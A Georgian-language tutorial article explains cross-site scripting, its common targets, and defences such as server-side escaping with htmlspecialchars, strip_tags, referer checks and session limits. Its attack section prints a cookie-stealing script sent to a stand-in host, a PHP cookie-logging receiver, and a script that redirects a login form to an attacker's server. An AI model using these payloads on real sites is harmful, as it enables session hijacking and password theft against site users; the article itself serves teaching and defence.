XSS (Cross Site Scripting)
XSS (Cross Site Scripting) - შესავალი
ინტერნეტის ფართოდ გავრცელების პარალელურად გაიზარდა ვებ-გვერდების ფუნქციონალური შესაძლებლობებიც, სტატიკურ საიტებს ჩაენაცვლა ინტერაქტიური საიტები და აპლიკაციები, რამაც თავის მხრივ გამოიწვია საიტზე შეტევის განხორცილების შესაძლებლობების ზრდაც, რასაც ვებ-დეველოპერები ხშირად სათანადო ყურადღებას არ უთმობენ.
XSS არის ყველაზე გავრცელებული ხვრელი ვებ-აპლიკაციების უსაფრთხოებაში. XSS შეტევის შესაძლებლობა არსებობს მაშინ, როდესაც დინამიურად გენერირებული გვერდი აჩვენებს მომხმარებლის მიერ გაგზავნილ და აპლიკაციის მიერ არასათანადოდ გაფილტრულ მონაცემებს/ინფორმაციას.
ესეთი ხვრელები ხშირ შემთხვევაში გააჩნიათ შემდეგი სახის საიტებსა და აპლიკაციებს:
- საძიებო სისტემებს
- უკუკავშირის ფორმებს
- ფორუმებს
- ონლაინ აუქციონებს
- განცხადებების საიტებს
XSS წარმოადგენს პროგრამულ კოდს, რომელიც სრულდება კლიენტის მხარეს ბრაუზერის მიერ. უმეტესად მსგავს კოდს წერენ JavaScript ან VBScript –ზე. ჩვენ არ გვაქვს პრეტენზია, რომ სრულად აღვწერთ XSS შეტევის განხორციელების ან მისი პრევენციის მექანიზმებს. ამ სტატიის მიზანია აღნიშნული პრობლემის სერიოზულობაზე ყურადღების გამახვილება.
XSS - შეტევის მეთოდები და შედეგები
XSS შეტევისას ხშირად გამოყენებული საშუალებების არასრული სია:
- URL -ის პარამეტრები
- query string
- ქუქიები
- უკუკავშირის ფორმები
- მომხმარებლის მიერ გამოგზავნილი ინფორმაცია, რომელიც ინახება ვებ-სერვერზე
ქუქიების მოპარვა (სესიებზე კონტროლის მოპოვება)
დინამიური საიტების უმრავლესობა ავტორიზაციის გავლის შემდეგ მომხმარებელს ანიჭებს უნიკალურ ID -ს, რომელიც როგორც წესი მოქმედია ერთი სესიის განმავლობაში და მომდევნო გვერდებზე გადასვლისას გამოიყენება მომხმარებლის იდენტიფიკაციისთვის. სესიების ID-ები შესაძლოა მიებას URL-ს ან შენახული იქნას ქუქიებში ლოკალურ დისკზე. პირველი მეთოდის გამოყენება არაა მიზანშეწონილი, რადგან ID-ები ინახება ლოგების სხვადასხვა სისტემებში (მაგ: პროქსი სერვერები), თუმცა მეორე მეთოდის გამოყენების შემთხვევაშიც შესაძლოა ID-ების მოპარვა XSS შეტევის გამოყენებით. მოქმედი ID-ს ფლობა იძლევა საშუალებას მომხმარებლის სახელისა და პაროლი ცოდნის გარეშეც მიიღო მომხმარებლის პრივილეგიები.
წარმოვიდგინოთ დინამიური ვებ-გვერდი ძიების ფუნქციით და საძიებო ფრაზის ნაცვლად ჩავწეროთ შემდეგი სკრიპტი:
<script>document.location.replace("http://stealcookie.com/steal.php?"+document.cookie)</script>
ასევე წარმოვიდგინოთ, რომ საიტის ადმინისტრატორი ავტორიზაციის გავლის შემდეგ შედის ადმინისტრაციულ პანელში და ათვალიერებს გამოყენებულ საძიებო ფრაზებს. ამ დროს სრულდება სკრიპტი და ჰაკერი ქუქიებში ჩაწერილ ინფორმაციას, მათ შორის სესიის ID-ს შემდგომი დამუშავებისათვის უგზავნის თავის სერვერზე განთავსებულ სკრიპტს - steal.php, რომელიც გამოიყურება შემდეგნაირად
<?php $f = fopen("cookielog.txt", "a+"); fwrite($f, "IP: {$_SERVER[’REMOTE_ADDR’]} Ref: {$_SERVER[’HTTP_REFERER’]} Cookie: {$HTTP_GET_VARS[’cookie’]}\n"); fclose($f); ?>
steal.php მოპარულ ინფორმაციას ინახავს თავის სერვერზე, ფაილში - cookielog.txt. ამ შემთხევავში სესიის ID-ს ფლობა ჰაკერს აძლევს ადმინისტარტორის პრივილეგიებს.
მომხმარებლის სახელის და პაროლის მოპარვა
ავიღოთ ონლაინ აუქციონი, სადაც მომხმარებლებს ავტორიზაციის გავლის შემდეგ შეუძლიათ განცხადებების დამატება. ავტორიზაციის ფორმა გამოიყურება შემდეგნაირად.
<form action="submit.php" method="post">
<input name="username" type="text">
<input name="password" type="password">
<input name="submit" type="submit">
</form>
წარმოვიდგინოთ, რომ ჰაკერმა განცხადების მაგივრად დაამატა შემდეგი სახის კოდი.
<script>document.getElementsByTagName("form")[0].action = "http://example.com/steal.php";</script>
თუკი აღნიშნული კოდი მოხვდება საიტზე, მაშინ სხვა მომხმარებლების ავტორიზაციის მონაცემები (სახელი და პაროლი) გაეგზავნება ჰაკერის სერვერს
XSS - პრევენცია
ინფუთის გაფილტვრა
XSS შეტევისგან დასაცავად პირველ რიგში აუცილებელია, რომ მოახდინოთ მომხმარებლის მიერ შეტანილი / გაგზავნილი ინფორმაციის სპეციალური სიმბოლოებისგან გაფილტვრა ან კოდირება. ფილტრაცია აუცილებლად უნდა მოხდეს სერვერის მხარეს, რადგან ჰაკერისათვის კლიენტის მხარეს ფილტრაციის გვერდის ავლა საკმაოდ ადვილია. სპეციალური სიმბოლოების ჩამონათვალი, რომელსაც ყურადღება უნდა მიექცეს შემდეგია:
< > ' " % + ( ) : ; / ? & { } [ ] \ = Space
მაგალითად სიმბოლო "<" შეგვიძლია შევცვალოთ "<" -ით. ამ შემთხვევაში ბრაუზერი კოდირებულ სიმბოლოს აღარ აღიქვამს HTML ტეგის დასაწყისად.
ამისთვის შესაძლოა გამოვიყენოთ PHP-ის ფუნქცია htmlspecialchars(), რომელიც ახდენს სპეციალური სიმბოლოების კოდირებას.
<?php
$input = '<a href=\"www.example.com\">link</a> ';
$output = htmlspecialchars($input); echo $output;
?>
მომხმარებელი დაინახავს: <a href=\"www.example.com\">link</a> -ს, თუმცა კოდი იქნება შემდეგი სახის: <a href=\"www.example.com\">link</a> .
PHP -ის ფუნქცია strip_tags() ფილტრავს "<" და ">" სიმბოლოებს და შესაბამისად იღებს HTML ტეგებს.
$specialchars = '\'\';!--"<script>=&{()}"';
//output string: '';!--"<script>=&{()}"
strip_tags($specialchars);
//output string: '';!--"=&{()}"
სერვერის პასუხის ლიმიტირება
უსაფრთხოების მიზნით სასურველია, რომ მოვერიდოთ ბრაუზერში პერსონიფიცირებული ინფორმაციის გამოყვანას. მაგალითად მისასალმებელი შეტყობინების "გამარჯობა გიორგი", ხოლო მისამართის http://example.com/member.php?member=Giorgi ნაცვლად შეგვიძლია გამოვიყენოთ სტანდარტული შეტყობინება "გამარჯობა", რომლის მისამართი იქნება http://example.com/member.php
სერვერის პასუხის სიგრძის შეზღუდვა
მაგალითად ხშირ შემთხევავში მომხმარებლის სახელს ზღუდავენ ხოლმე 8 სიმბოლომდე. ეს შეზღუდვა უნდა შემოწმდეს როგორც კლიენტის მხარეს, ასევე სერვერის მხარეს.
HTTP რეფერერის შემოწმება
ვებ-აპლიკაციას შეუძლია რეფერერის შემოწმება და არასწორი ჰოსტიდან თუ ბმულიდან მომავალი ინფორმაციის იგნორირება. თუმცა ასეთ შეზღუდვას გააჩნია თავისი უარყოფითი მხარე. ჰაკერს შესაძლოა ჰქონდეს ლოკალური პროქსი სერვერი, რომელიც გაფილტრავს ან შეცვლის რეფერერის ველს. ასევე შესაძლებელია, რომ რეფერერის ველი იყოს ცარიელი, თუ მაგალითად ბმულს მივყვებით “რჩეული მისამართებიდან” ან ელ-ფოსტიდან
გამოიყენეთ HTTP POST ნაცვლად GET-ისა
ჰაკერული კოდის ჩასმის ერთ-ერთი ყველაზე გავრცელებული მეთოდი HTML ფორმების გამოყენებაა. HTTP GET საშუალებით მონაცემების გაგზავნა არაა მიზანშეწონილი, რადგან ეს მონაცემები ჩანს ბრაუზერში
ქუქიების ვალიდაცია
ვებ-აპლიკაციების ნაწილი იყენებს სესიის უნიკალურ იდენტიფიკატორებს. ავტორიზაციის გავლისას მომხმარებელს ენიჭება სესიის ID და ის გამოიყენება სხვა გვერდებზე გადასვლისას მომხმარებლის იდენტიფიცირებისთვის.
ჰაკერს შეუძლია ID-ს გამოყენება, სანამ იგი ვალიდურია. იდენტიფიკატორის ვალიდურობის დროის გარკვეული მონაკვეთით შეზღუდვა, მომხმარებლის IP მისამართის შემოწმება აღნიშნულ საფრთხეს ამცირებს ან საერთოდ აღმოფხვრის
კოდირება
წარმატებული ჰაკერული შეტევა ხშირად ეყრდნობა სპეციალური სიმბოლოების გამოყენებას. უსაფრთხოების გაზრდა შესაძლებელია, თუ მონაცემების გაფილტვრა ხდება შესაბამისი კოდირების გათვალისწინებით. ამიტომ რეკომენდებულია, რომ ყოველთვის მიუთითოთ კოდირება, მაგ: utf-8.